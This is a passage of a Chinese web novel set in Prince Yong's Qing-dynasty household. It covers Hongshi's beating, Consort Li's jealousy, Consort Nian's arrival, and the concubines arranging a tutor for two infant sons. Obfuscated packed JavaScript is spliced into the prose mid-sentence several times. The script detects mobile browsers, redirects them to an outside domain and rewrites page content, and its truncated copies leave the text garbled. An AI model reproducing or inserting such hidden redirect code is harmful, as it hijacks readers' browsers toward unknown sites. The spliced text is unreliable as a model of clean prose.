心里埋怨着,但弘时面上却一派后悔之色:“阿玛,阿玛儿子错了。方才是不知该怎么回话,但儿子实在是知错的。都是弘晟堂哥诓骗我去的,去之前我尚且不知道那是什么地方,只去了这一回的,儿子日后再也不与弘晟往来了,那些地方也不会再去了。阿玛饶了儿子这一会吧……” 四爷凌厉的目光扫在了弘时的身上,只去了一回,只怕是不止吧。但他现在不想和这个满嘴谎话的儿子多说了,只是微微挥了挥手便有人将弘时架了出去。 不多时,院子里传来板子碰撞到肉的声音,以及弘时的痛呼声。 三阿哥在前院挨了打,这种事情是瞒不住的。 毕竟素来身娇肉贵的三阿哥这回挨打,叫得几乎整个前院都能听到。后来请了大夫,以及李侧福晋派了人去前院看这些事情都是没有瞒着的,是以不多时连耿执羽这里也知道了。 想着儿子刚从前院回来,耿执羽吓了一跳,将弘昼抱来身前问道:“你方才见到你三哥了吗?” “见到了啊。”弘昼正摆弄着自己手上的九连环,这东西是玉质的摸上去很舒服,也是弘昼现在手中相对好玩些的玩具了。这也让弘昼虽然早就会解九连环了,但还是很喜欢抱着这个东西玩。 毕竟若是自己现在要书看实在太早了,连路都走不了。若是现在就开始表现对书的兴趣,额娘和阿玛难免对自己太过期待。听说清朝的时候皇子念书都是堪比高考的,自家阿玛从前是皇子,但愿不要将宫里的这一□□到自己身上。 “那方才你在前院的时候,可看见你阿玛对着三哥生气?”耿执羽继续追问道。 弘昼抬起头来想了想,声音软绵绵的:“没有啊。” 小孩子的嗓音让弘昼的声音听起来尾调 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“这死丫头,”李侧福晋张嘴便骂道,“往日里行事慢慢悠悠的便罢了,今日也不知道快些。去前院已经这么久了,怎么还是没回来!” 梅枝轻声安抚道:“侧福晋息怒,柳叶这才出去两炷香,如今想来正到了前院桥这呢,想来马上便回来了。” “不行,”李侧福晋将手中攥着的帕子往地下一摔,声音里带着急切之色,“我得亲自去看看,爷怎么能这般狠心?弘时上个月刚得了风寒,这才好了不久呢,这打了一回又不知道要在床上病多久。” “侧福晋,侧福晋咱们不能去呀。前院那是爷们儿才能去的地方,三阿哥刚被王爷责罚了,您若是此时前去,王爷必定觉得您是对他不满。若是王爷因此迁怒三阿哥,您让三阿哥在前面如何自处?”梅枝紧紧地拦着自家主子,生怕自家主子一时情急真跑到前面去了,那四爷必然对主子和三阿哥都要不满了。 李侧福晋果然被劝住了,她拧着眉声音带着忧愁:“可我怎么能放心地下弘时?柳叶这小蹄子怎么还不回来!” 这说话间,柳叶便迈着急匆匆的步伐赶了回来。 15. 第 15 章 第15章 柳叶一进来便想行礼,但却被李侧福晋一把拉住了,连忙问道:“弘时如何了,可被打出了个好歹,爷有没有下狠手?” 这一连串的几个问题砸过来,柳叶并不慌乱,语速较快地回答道:“三阿哥没有大碍,已经请了大夫去诊治了。大夫只是些皮外伤并不要紧,床上休养半月便能好全,想来那前面的小司也不敢对咱们阿哥下重手。” 听到柳叶的回话,李侧福晋才稍稍缓了口气。这打人也是有讲究的,若是上头的想要打得重些,即便只打上十板子也能叫你皮开肉绽,伤筋动骨得养好一阵子才行。可若是上头本不欲重罚,即便是打上三十板子也只是皮外伤,在床上躺半个月便好了。 李侧福晋原担忧的是爷这回要下狠手,怕弘时被打出个好歹来。现在听柳叶的话,便知道这是为了给弘时一个教训。 可即便如此,李侧福晋还是不满。 她生了四个孩子,只养大了两个。怀恪算顺顺利利的,如今也已经嫁人了。她现在膝下就只有弘时这一个了,弘昐弘昀都已经去了,爷就不能对弘时怜悯些吗? 难不成爷真的指望那两个小的?那尚且还不到两岁的孩子,能不能养活都还不知道呢,爷就敢指望他们! 自从上次四爷拂袖而去,甚至将李侧福晋禁足之后。四爷踏足东侧院便少了许多,在怀恪郡主出嫁之后来得更少了。从前只要进后院十之八九便是来东侧院,现在多半是去武格格或者程格格那里,如今东侧院一只手就能数清爷这一月过来的次数。 察觉到自己已经开始失宠的李侧福晋心中本就焦急,如今听到弘昼在前院被四爷打了板子心中就更乱了。 “去,拿了银子去吩咐前院的厨房,这几日里给弘时做些清淡的,弘时挑嘴清淡的东西要更精心才能做好,不然是断断不愿入口的……” 李侧福晋吩咐了一连串,确认弘时在养伤的这段日子必然会被照顾得好好的才停住,看向了柳叶问道:“你可打听出来了弘时是犯了什么错?” 脑袋低垂着,柳叶轻声道:“听闻是三阿哥跟着诚亲王府的弘晟世子一起去了戏园子。” “戏园子?”李侧福晋皱眉,“去两趟戏园子有什么好责罚的。而且是和弘晟一起,弘时本就该和这些做了世子的堂兄弟们亲近亲近,日后有什么了也好互相照应。” 雍亲王府中没有嫡子,弘时又是庶子中的长子。李侧福晋一直是默认弘时就是和其余府中的世子一个层次的,本就该和那些人交际。戏园子也不是什么不能去的地方,这让她心中对四爷有些不满。 在她心中,即便四爷是因此对孩子有些不满意。也应当训斥几句便够了,又何必动板子呢?更何况弘时这做的几件事,在李侧福晋心中实在不算是做错了。 “弘时被训之前,爷可是心情不好?”李侧福晋看着柳叶问道。 柳叶摇了摇头:“这个奴婢实在不知,前院的下人口风极紧,轻易是打听不出来的。不过倒是知道,爷今儿将五阿哥叫去书房玩了会儿。” “难不成弘时挨打的时候五阿哥在?” “那倒不是,听闻是五阿哥走了之后三阿哥才挨打的。” 听到这话,李侧福晋脸色更阴了。她心中本来就对那两个小子在弘历抓周宴上大出风头有些不满,但自那种想着这两个小子都未必能平安长大三岁去前院,也懒得计较。 毕竟小孩子娇贵,即便是生下来了养不大也多。 “这么小的年纪便能挑拨爷和弘时了。”李侧福晋咬着牙说道,“若是等他大了还得了。” “五阿哥年纪这么小……”梅枝下意识的话还未说完,便被李侧福晋飞过来的眼刀吓得将话转了个弯:“想来是耿格格教的。” “耿氏,哼!这贱人若非生了个孩子,想来爷如今连府中还有她这个人都要忘记了。”李侧福晋愤愤不平。 四爷的喜好很明确,喜欢模样柔弱清丽的女子。而福晋性子有些刚硬,模样又更偏向端庄,四爷一直是敬重有余而喜爱不足的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990878|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而耿执羽模样偏向艳丽,身材也并不瘦弱,甚至有些丰腴。即便容貌极盛,也并不得四爷的宠爱。 而武格格容貌虽瞧着并非梨花带雨一类的,但是在四爷面前性子柔顺,这也让四爷这段时间去她那的次数不少。 在四爷的身边已经二十多年了,这位爷喜欢什么样的女子李侧福晋很是清楚。也正是因为清楚,她才不屑于耿执羽和钮祜禄格格,因为她知道这两位对她从不是威胁。 甚至如今得宠的武格格她也不放在眼里,武格格容貌一般,李侧福晋自信只要过段日子自己好好哄一哄,四爷必然会回心转意的。 这样想着,李侧福晋才勉强熄下了心中的怒意。想着等明日请安的时候,必然要好好地挤兑一下耿氏,她不敢冲着小阿哥下手,还不敢挤兑一下耿氏这个贱人吗? 接下来的这几日,请安的时候李侧福晋果然对着耿执羽阴阳怪气的。不仅对耿执羽这样,对着钮祜禄格格也是这样。这一下,她直接恨上了这两位生下了小阿哥的格格,只要碰见便不免冷嘲热讽几句。 武格格乐得看笑话,上回她被耿执羽直接怼了回去之后便不想再上前热脸贴屁股了。但她也不敢明面上和耿执羽作对,毕竟耿格格和钮祜禄格格同气连枝这是府中上上下下的人都知道的。她虽然最近还算得宠,但位份只是格格又没有孩子终究没有底气。 对此耿执羽开始的时候还会生气,后来便只当自己没听见那些冷嘲热讽了。毕竟李侧福晋翻来覆去的也就这两句话,听多了也实在生不起来气。 弘时的在床上躺了大半个月后身子养好了,继续爬起来开始跟着师傅念书。阿玛这次生气地直接打了他,在他卧床休息的时候也没来瞧,这让他有种危机感,想着接下来定要好好表现,让阿玛心中将这件事揭过去才好。 而府中一直流传的那桩今年要进一位身份高贵的侧福晋这件事终于在选秀之后定下来了,还是皇上亲自赐婚。 赐的是湖广巡抚汉军镶白旗年遐龄之女,两月后完婚。 16. 第 16 章 第16章 侧福晋和格格不同,虽说都是妾,但格格被指给皇子之后一顶小轿便抬进了皇子后院。而侧福晋是有资格举行婚礼的,其排场以及婚礼的讲究程度自然比不上嫡福晋的婚礼,但也从另一方面说明了侧福晋和格格的区别。 雍亲王府中的女眷,嫡福晋乌拉那拉氏当初被指给四爷的时候,四爷尚且住在宫中的阿哥所,又是个光头阿哥,内务府按照光头阿哥的规格来给四阿哥办的婚礼。而现在四爷已经在亲王之位,其婚礼的排场自然和从前不可同日而语。 李侧福晋知道要进府的侧福晋已经定下之后,看着府中因着要迎侧福晋所装扮的东西羡慕极了。她是格格晋封的侧福晋,当初选秀的时候被指给了四阿哥当格格,被轿子抬进了阿哥所,晋封侧福晋的时候已经生了好几个孩子了,自然是没有婚礼的。 这新人一进府便是侧福晋,还有着这样的婚礼排场,李侧福晋生怕这位年侧福晋一入府便压了自己一头。 毕竟按照规矩来说,一进府便是侧福晋的是要比格格升上来的尊贵些的。但李侧福晋想着自己已经出嫁的怀恪,还有养在前院的弘时,觉得自己的腰又挺直了些。 一进府便是侧福晋又如何,自己可是有两个已经立住的孩子。况且今年才选秀的小丫头,必然不会超过十七岁,如何能有自己这个府中老人知晓爷的心思。 耿执羽这里也对那位即将进府的年侧福晋有些好奇,湖广巡抚这个官听起来就很大。府中家世最好的福晋是九门提督之女,九门提督是正二品的京官。而这位年侧福晋是湖广巡抚之女,湖广巡抚也是正二品。 但这历来京官就是要比外放的高出半截来,想来还是福晋的家世更好。 听到耿执羽这个结论的时候,钮祜禄格格笑弯了眉眼:“你啊,这家世又岂能用简单的品级来评定的。若是按你这般说看品级,尚未封爵的皇子们也都是没有品级的,那岂不是要相当于庶民?” “姐姐怎能笑话我,皇子怎么一样?”耿执羽反驳,“皇子可是皇上的孩子,即便尚未封爵也是全天下家世最好的。” 弘昼在一旁和弘历一人拿了一个七巧板正在玩,旁边还散着其余的一些小玩具。甚至摆了一本《三字经》,这段日子弘历已经满了两岁了,钮祜禄格格每日会给他念一段启蒙书听听。 “这家世不能单单用阿玛的品级来判定,”钮祜禄格格笑着道,“咱们福晋是正白旗出身,一家子都是上三旗的正白旗。而且乌拉那拉是满洲大姓,你只看这朝野上下有多少乌拉那拉的人身居高位,还有后宫中从不缺乌拉那拉姓的妃子,甚至孝烈武皇后也是姓乌拉那拉的。” “这些人是一个家族,咱们福晋和这些人都能说是一家子的,都是姓乌拉那拉的人,更何况福晋的玛法还是一等承恩公。而要入府的年侧福晋,她出身的汉军镶白旗,是下五旗。阿玛是湖广巡抚但已经致仕,兄长是四川巡抚,这般门第比起咱们自然是要高不少的,但也比不得福晋。” 弘昼有些听明白了,一整个繁荣的家族利益集团比刚兴起的新兴家族要更厉害些。乌拉那拉家资历深厚,而且家族中身居高位的多。年家如今虽然年侧福晋哥哥身居高位,但家族中并没有别的能人。 “罢了罢了,”耿执羽笑着摇了摇头,“反正门第都比我家的要高,只盼着这位年侧福晋能是个好相处的。今年选秀的话,想来是不超过十七岁的,这般年轻。” “咱们当初选秀的时候不也是年轻吗?”钮祜禄格格似是想起了什么,“我是上上一届选秀入了王府的,那时候我才十五岁,如今也二十有一了。” “我可不是选秀,我们家只能参加小选。”耿执羽扬了扬眉说道,“当初进去的时候还以为要进宫待到二十五岁才能出去,那时候整日里盼着能去个主子宽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990879|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和的去处,生怕去了主子严苛的宫殿,那要待到二十五岁还得十年呢,想想就可怕。” “可这一进宫,尚且还在内务府学规矩呢,就被德妃娘娘看见了,随手指给了爷。”想到这耿执羽微微低下了头,露出了形态优美又白皙的后颈,“当初小选的时候谁能想到呢?” 每年参选的宫女那么多,能指给那些王公贵族做格格侍妾的又能有几人呢。说起来当初知道被德妃娘娘指到雍亲王府后,还有几个姐姐妹妹羡慕,但耿执羽也不知道自己这究竟算不算好命。 不用伺候人了似乎是不错的,但一生都被困在了这方寸之地。自己熟悉的那些街头小巷都成了再也回不去的地方,耳边从小听到大的吆喝声,曾经也嫌弃吵闹幻想着能再也听不到这恼人的声音就好了,现在真正是再也听不到了。 罢了,耿执羽又将头抬了起来,看着坐在对面笑意盈盈的兮兰姐姐觉得自己运气还算不错。起码这雍亲王府中干干净净的,福晋也不是磋磨人的,自己也遇到了能说得上话的人,还有了一个孩子,现在便可以开始期盼日后孩子将自己接出去过老封君的日子了。 听着额娘和钮祜禄额娘又聊起了别的话题,弘昼低下头貌似专心地在拨弄自己的七巧板。实际上却在心中暗暗唾弃这糟糕的封建时代,自己阿玛最起码也是三十好几的人了,新进府的侧福晋竟然还不满十七,简直是现代人想一想就觉得造孽的事情。 但这样的事情在这个时代并不是什么大事,没有人会觉得一个已经有着出嫁女儿的男子纳一个和自己出嫁女儿同龄甚至更小些的女子为妾是什么大事。 想到这里,弘昼正准备叹口气却被旁边四哥投过来的目光吓了一跳。 弘历已经将手中的七巧板放到了一边去,正专心致志地歪着脑袋看着弘昼,让扭头就对上了四哥眼神的弘昼吓了一跳。 “四哥,你看什么呢?” 17. 第 17 章 弘历见弟弟的目光看过来了,张着嘴嘿嘿笑了两声,将自己手里的东西往弘昼手中塞去:“给弟弟,玩。” 耿执羽收回了看向钮祜禄格格的目光,眼露笑意:“姐姐将咱们弘历养得真好,不像我家弘昼,这整日里啊不是睡就是吃的。都说这刚会说话的孩子整日里都是要说话的,偏偏我这个倒像是沉默寡言的,明明之前不会说话的时候还喜欢啊哦的。” 弘昼心想,自己这小小的身体里到底是装了个成熟的灵魂。从前一直啊啊哦哦的是为了学说话,现在都会说话了。况且自己现在的这个嗓音,堪称最纯正的小奶音了,每次开口自己都要先做一下心理建设。 钮祜禄格格看着两个孩子玩闹的画面,眸间含笑:“如今孩子还小呢,等大了便不是一个样子了,咱们幼时难不成便是现在这个样子的?” 伸出手撑着自己的下颚,耿执羽眼中露出了些怀念:“如今想来,还是幼时的日子好过。那时虽说我要帮着额娘做些活计,但额娘阿玛之间的感情好,我过得也不错。” “现在一晃眼便这么大了,这算着还有不到两年这两个孩子便要送去前院了。” 说到这里的时候,耿执羽看着两个孩子,语气不舍:“这孩子说话尚且不利索呢,去前院念书能跟得上先生们讲课的速度吗?” 钮祜禄格格嘴角噙了一抹笑:“府中的孩子们都是这样过来的,不论是从前福晋的孩子,还是如今的三阿哥都是三岁便送去前院的。妹妹,你要知道平日里孩子养在咱们这里爷看望的日子少之又少,但送到前院去之后爷便要隔三岔五去看孩子的功课。” 说到这里,钮祜禄格格压低了声音:“这感情都是处出来的,只有父子之间见面的机会多了,日后爷才能多为两个孩子打算。” 耿执羽苦笑着摇了摇头,选择略过这个话题,聊起了别的。 选定的吉日很快过来了,年侧福晋被迎进了门,听闻婚礼当日是很热闹的,但弘昼去不了前面,只是在年侧福晋进门后第二日去见见这位新进门的年额娘。 一大早的,耿执羽便将弘昼从床上抓了起来,吩咐旁边的嬷嬷们快些给他穿衣裳。 今日要去正院见过新进门的年侧福晋,四爷也是在的,若是去迟了不好。 弘昼迷迷糊糊睁开了眼睛,随后继续睡了过去。反正等会也是被抱着去正院,自己是睡着还是醒着根本无所谓的。 待弘昼再次醒来,已经到正院外头那条路上。现在正是秋天,路旁的花大部分已经凋谢了,换成了这个季节开得正艳的菊花。路边偶尔有两片枯黄的叶子落下来,但马上便会被在这里洒扫的小侍女打扫干净。 进了正院之后,里头已经来了不少人。 李侧福晋正坐在福晋下手左边的第一把椅子上,见耿执羽带着弘昼进来了,只是微微掀了掀眼皮。 钮祜禄格格也来了,她往日的位置是福晋下手右边的第一把椅子。但这次她往下面挪了一个位置,坐在了右边的第二把椅子上,这第一把椅子明显是为年侧福晋留的。 身后的嬷嬷抱着弘历,看其身上的衣裳,想来也是一大早便被叫起来打扮的。 武格格和程格格也在了,明明现在距离请安的时辰尚且还有两刻钟,但能有资格来正院请安的人已经到齐了。 连在前院念书的弘时都到了。 “妾身参见李侧福晋,侧福晋吉祥。”耿执羽先带着弘昼来到了李侧福晋面前,屈身行礼。 弘昼的嬷嬷也跟着行礼,小主子的年纪还小,不会有人苛责一岁多的孩子非要让他起来行礼,一般是嬷嬷抱着孩子行礼便是了。 李侧福晋依旧是没抬眼,淡淡说了声:“起吧。” 耿执羽也不在意她的态度,只要自己已经行了礼,不会被人挑出错处便是了。 落座后不久,福晋便从里间出来了,正是这时年侧福晋同四爷过来了。 年侧福晋十七八岁的模样,眉如远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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知道了李侧福晋受宠多年,又有怀恪郡主和三阿哥两个孩子,在府中的地位坚如磐石。 三阿哥是王府的长子,又极为四爷的看重。怀恪郡主也极为得宠,去年十里红装出嫁是京城众人都看见了的。 而这两位小阿哥,额娘钮祜禄格格以及耿格格不算得宠。但府中子嗣稀少,两位小阿哥又名扬在外,四爷很是看重。 现在将打听过的人物一一在脑海中对上,年侧福晋表现得无可挑剔。 对三位阿哥慈爱,对李侧福晋和福晋敬重,对下头的几位格格行礼时也不托大。 每个人都拿到了见面礼,福晋看着年侧福晋的眼中多了一丝忌惮。 虽然知道年家专程送进王府中的女儿必然不会是一般的蠢货,但容貌这样相投四爷的喜好,行事作风也这般滴水不漏,府中又要多出一位人物了。 但愿这位年侧福晋能将李氏的宠爱分走才好,也叫李氏尝一尝失宠的滋味。 自那日年侧福晋进府之后,这位便成了府中众人讨论的中心。 从前四爷进府,去李侧福晋那里多些。但即使李侧福晋最受宠的那些日子,四爷也不是没去过其他格格屋中的。 但这位年侧福晋进府之后,四爷似乎就不认识去其他院子的路了。不管什么李侧福晋还是武格格都丢到了脑后,甚至连每月一次去福晋屋中的日子都不去了,自己留在了前院。 这一下子就让武格格程格格特别是李侧福晋炸了锅,那两位格格既没有子嗣又没有地位,失宠之后便不免心慌。 而李侧福晋却是嫉妒,她自进四爷的后院便一直得宠。从前便是所有的格格和福晋的宠加在一起,也是不及她的一半的。 但即便是这样,她也没有受到四爷的专房之宠。而这个年氏,不过是一个黄毛丫头罢了,竟然一进府就这般得爷的宠爱。 可即便是将牙齿咬碎了,李侧福晋也没什么其余的办法。只能在四爷去年侧福晋院子的时候,派人去唤。 今儿不是这里难受,明儿便是那里难受的。 四爷起初还去两回,毕竟是两个孩子的额娘,从前那些情分也不是假的。 这些手段奏效的时候,李侧福晋前去请安的时候还专程在年侧福晋面前得意了两句。 但年侧福晋只面带笑意地听着李侧福晋的挑衅,并不发表别的看法。 只下回李侧福晋再请人,却请不去四爷了,不仅请不去还将李侧福晋派去的人训斥了一通。 弘昼听到这些话的时候,是耿执羽和钮祜禄格格一边瞄着花样子,一边闲话家常。 反正她们俩一直不算得宠,也不在意四爷的恩宠花落谁家,便只当这是一出戏看了便是了。 “对了,钮祜禄姐姐,”耿执羽突然想起了什么似的,“这不知不觉间,两个孩子也两岁了,明年便要送到前院去了,是不是咱们先给孩子启蒙认两个字?” 钮祜禄格格有些讶异:“难得你还想着这些呢,我还以为你不在意弘昼念书的事情呢。” “原是不在意的,”耿执羽声音有些闷闷的,“但前几日我额娘送了信来,叫我拿几两银子给家里,说是把我大哥的孩子送进学堂的束脩家里还差点。我叫人送了银子出去,也想着弘昼可以先认两个字,说不得去了前院爷能看着喜欢呢。” “原来如此,”钮祜禄格格面上浮现了恍然大悟之色,笑道,“咱们倒是可以叫人来教教,但这两个小孩子如今也不过勉强能说清楚话,怕是念不进去书的。” “能多认识一个字是一个。”耿执羽挥了挥手说道,“正好也叫我看看弘昼是不是念书的材料,若是极会念书,日后便教他考科举。若是只是念得不错,便加把劲儿去内务府考封。倘若一点念不进去,也好叫我早早死了这份心思,免得日后白期待。” 钮祜禄格格摇头笑道:“还是妹妹想得通透。” 扭过身看着床上正在和弘昼玩耍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990881|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弘历,钮祜禄格格嘴边的笑意一点不变。心中想着,可惜我倒是没有妹妹这样的随遇而安,既然生在王府了,福晋还没有孩子,自然是要叫孩子争一争世子之位的。 这王府的孩子,除却世子之外,其余的都只能算草。那些考封得来的不入八分的爵位,又怎么比得上多罗郡王。 况且府中的长子还是三阿哥那样的蠢货,而且最最巧的是,这个蠢货的额娘也是个蠢货,还是个已经失宠且得罪了福晋的蠢货。 倘若李侧福晋还是自己入府时的宠爱,钮祜禄格格或许也不敢打这样的主意。但李侧福晋失宠,三阿哥本人资质又不好,自己的孩子恰巧是个还算聪明的。 这些加在一起让钮祜禄格格心中燃起的火焰愈发的旺盛了,对手都是这样的蠢货了自己和孩子为何不能拼一把呢。 耿执羽不知道兮兰姐姐心中的想法,她一心只想着如何找个学问高些的人来给两个孩子启蒙。 她自己勉强称得上是识字,但没念过什么书,来教孩子肯定是不够的。 兮兰姐姐的学问不错,来教孩子肯定是绰绰有余的。 钮祜禄格格哭笑不得地听着耿执羽的话,摇着头说道:“这就是妹妹对我的误解了,我实在不是什么有学问的人。” “我从前还听过姐姐吟诗呢。” “倘若会吟两句前人写的诗便算学问不错,那这天下学问不错的人也太多了。”钮祜禄格格无奈笑道,“我的学问也就是能看明白书上的字,但却不解其意,若是让我来教孩子,怕是会误人子弟。” “那咱们还能找谁呢?”耿执羽不自觉皱起眉来,有些苦恼。 她们身边伺候的侍女多是穷苦出身,大部分大字不识,若是能认出自己名字便算念过书了,自然也是不能来教小孩子的。 可若自己心中一直学问不错的兮兰姐姐都不能教小孩子,耿执羽一时之间是真的找不到人选了 “妹妹糊涂了,咱们可以直接去找福晋求了这个恩典啊。” 19. 第 19 章 “去求福晋?”耿执羽的话语中带了一丝迟疑之色,“福晋会愿意管咱们这一摊子事吗?” 自从大阿哥弘晖去世之后,府中的孩子就全都是李侧福晋所生了。 当时福晋和李侧福晋不算对付,小孩子养育期间又难免会出现许多意外,福晋为了避嫌,便没有管过这几个孩子。只要李侧福晋不闹到跟前来,福晋便不会管。 如今对于这两位小阿哥福晋也是不管的。只是放话了,若是院子里缺些什么便只管去找她。但其余的她是一概不过问,连给两个小阿哥挑人这样的大事都是全权交给了耿执羽和钮祜禄格格的。 想着福晋数日的行事作风,耿执羽也不觉得福晋为突然愿意管一管这两个庶子。 “妹妹真是糊涂,”钮祜禄格格伸出手轻轻地点了一下耿执羽的额头,“福晋愿不愿意管那是福晋的事,咱们愿不愿意向福晋求是咱们的事。况且之前福晋不管,皆是因为府中孩子都是出自东侧院,而之前不管咱们生了一时也不好来多插手什么。” “现如今咱们自己去向福晋求,这既是向福晋服软,又能让福晋在爷面前刷一刷这贤惠慈爱的名声。如此双赢的差事,福晋又怎么会不愿意呢?” 耿执羽眼睛里逐渐浮现恍悟之色:“姐姐说得不错,咱们在这后院活着什么都是避不开福晋的。与其咱们自己大张旗鼓去找,倒不如直接禀了福晋。” “既然已经说定了,那便明日请安的时候向福晋回了这一差事。” 弘昼在一旁听着,自己这不到两岁的年纪,便要开始学字了。 但因着额娘在自己耳边念叨过不止一次考封的事情,考封这件事在弘昼的心中和现代的高考差不多重要。 既然自己前世能寒窗苦读12年考上大学,这一辈子也能努努力考封。好歹这次考上了是真给爵位,而且能直接吃上国家发的禄米。 约等于前世的考上公务员,而且是不用上班的那种。 既然考上了好处不少,那努努力也是应该的。 和钮祜禄格格说定后,耿执羽果然在第二日请安时向福晋提出了这件事。 福晋执起茶盏的手微微一顿,侧眸看向耿执羽,语气有些捉摸不定:“你们的意思是让我找个教书的先生?若是这个倒不必急,等三岁了送到前院去后,阿哥们的学业自有爷来操心。” 从前福晋不是没有尝试过,管一管李侧福晋膝下的几个孩子。 但当时四爷对李侧福晋极为宠爱,李侧福晋又是哭又是求又是跪,这些招数使出来福晋也不好插手这几个孩子。 现在这两个小阿哥生出来,福晋也是依着从前弘昐弘时的例子来的。但现在这两个平日里不作声的格格,突然来自己面前求先生,不由让福晋心下起了丝丝警惕。 念书这样的事情,一向是找爷的。 “福晋误会了,”钮祜禄格格接话道,“三岁后送到前院自然是正经开蒙念书,可咱们姐妹现在只是想让两个小阿哥认识几个字罢了。这件小事若是去劳烦爷怕是不好,这才想着来找您,毕竟您是两位小阿哥的嫡额娘,日后等小阿哥长大了也是要到您跟前磕头。” “是啊是啊,也是妾身愚笨,实在是安排不了人这才想着来叨扰福晋。”耿执羽跟着帮腔了一声。 福晋听了她们的话,心里微微一松,原来是来是示好的。 “呵,”李侧福晋似是听不下去了,冷笑了一声:“往日里倒是不见你们侍奉福晋,这遇见事了反而想到了。可见这世上就是有些平时不烧香,临时抱佛脚的人。” 原本低头喝茶的年侧福晋嘴角微微一抽,实在是有些想不明白,为什么之前这位能在王府独宠这么多年? 不关她的事偏要跳出来,而且一下子撩了三家。 福晋的眼神冷了一下,目光如利刃一般刺向了李侧福晋,声音也寒了下来:“这府中的孩子自然也都是我的孩子,不论何事,前来找我也是应当的。” 被福晋的眼神刺了一下,李侧福晋张了张嘴,下意识想反驳回去。这么多年来,她甚少受福晋的气。 但她身后的嬷嬷悄悄地碰了她一下,让李侧福晋原本到了嘴边的话,生生咽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14990882|161628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下去,铁青着脸转了过去。 见李侧福晋不说话了,福晋的神色也缓和了下来,看着耿执羽和钮祜禄格格温声道:“若是找学问高深的先生还不好找,但若是只是教两个孩子启蒙,那确还是好找的。弘历和弘昼养在你们身边,男子不好出入后院,我便派人去寻个女先生吧。” 既然两位格格有心示好,福晋自然也不会将人拒之千里,便将事办得更圆满了些。 不出三日,女先生就被送到了玉池院。 福晋本来还请人来问过,是否要寻两位,让两位小阿哥一人一位先生。 但耿执羽回绝了,只说两个小孩子在一起就比着学也好教些。 这位女先生学识很不错,听闻是出身满洲大族的姓郭洛罗。只因家中夫婿早死,又养育着一双儿女才不得已出来寻份差事。她的学识便是去教教秀才都是够格的,可见福晋是对这件事上了心的。 弘昼看着先生手中的《三字经》,只觉得这上面的字自己似乎熟悉,又似乎不熟。连在一起能读出来,但是单独拆分就认不出了。 在现代的时候习惯了简体字,现在看着这些繁体字,只觉得笔画繁琐。 郭洛罗先生对着两个孩子很是耐心,也知道两位格格请她来,倒也不是要将孩子教得多么天纵奇才。而是想要他们在三岁之前,能识得几个字。 三字经的内容很好背,朗朗上口,郭络罗先生只要念上几遍,弘历和弘昼就能背出来了。虽然识字要慢些,但背书很快。 这一发现让耿执羽和钮祜禄格格都有些惊喜,特别是弘历,郭络罗先生只要念一两遍,他便能背下。 弘昼要慢些,但也算得上聪慧,至少和前院的三阿哥比起来要聪慧不少。 这日,四爷刚听了福晋的禀报,得知耿执羽和钮祜禄格格联合请了一位女先生回去教两个小阿哥认字。 想起来也多日没有瞧这两个小孩子了,便想到玉池院来瞧瞧,听闻弘昼平日里也是去玉池院和弘历一起上课的。 刚刚踏进院门,就听到了两声稚嫩的念书声。 20. 第 20 章 “天对地,雨对风,大陆对长空,山花对海树……” 弘历和弘昼你一句我一句背着书,郭络罗先生站在他们面前正面带笑意听着。 深秋的季节已经渐渐冷了下去,太阳变成了难得的奢侈品。见外面太阳出得好,耿执羽便让人将桌椅都搬到了院子中,让先生就在院子中给这两个孩子上课。 四爷原本板着的脸,听着这稚嫩的声音逐渐开始融化,变得温和了起来。 耿执羽和钮祜禄格格正在一旁面带笑意地看着两个小孩子,还是院中的一位侍女看见了四爷惊呼了一声。 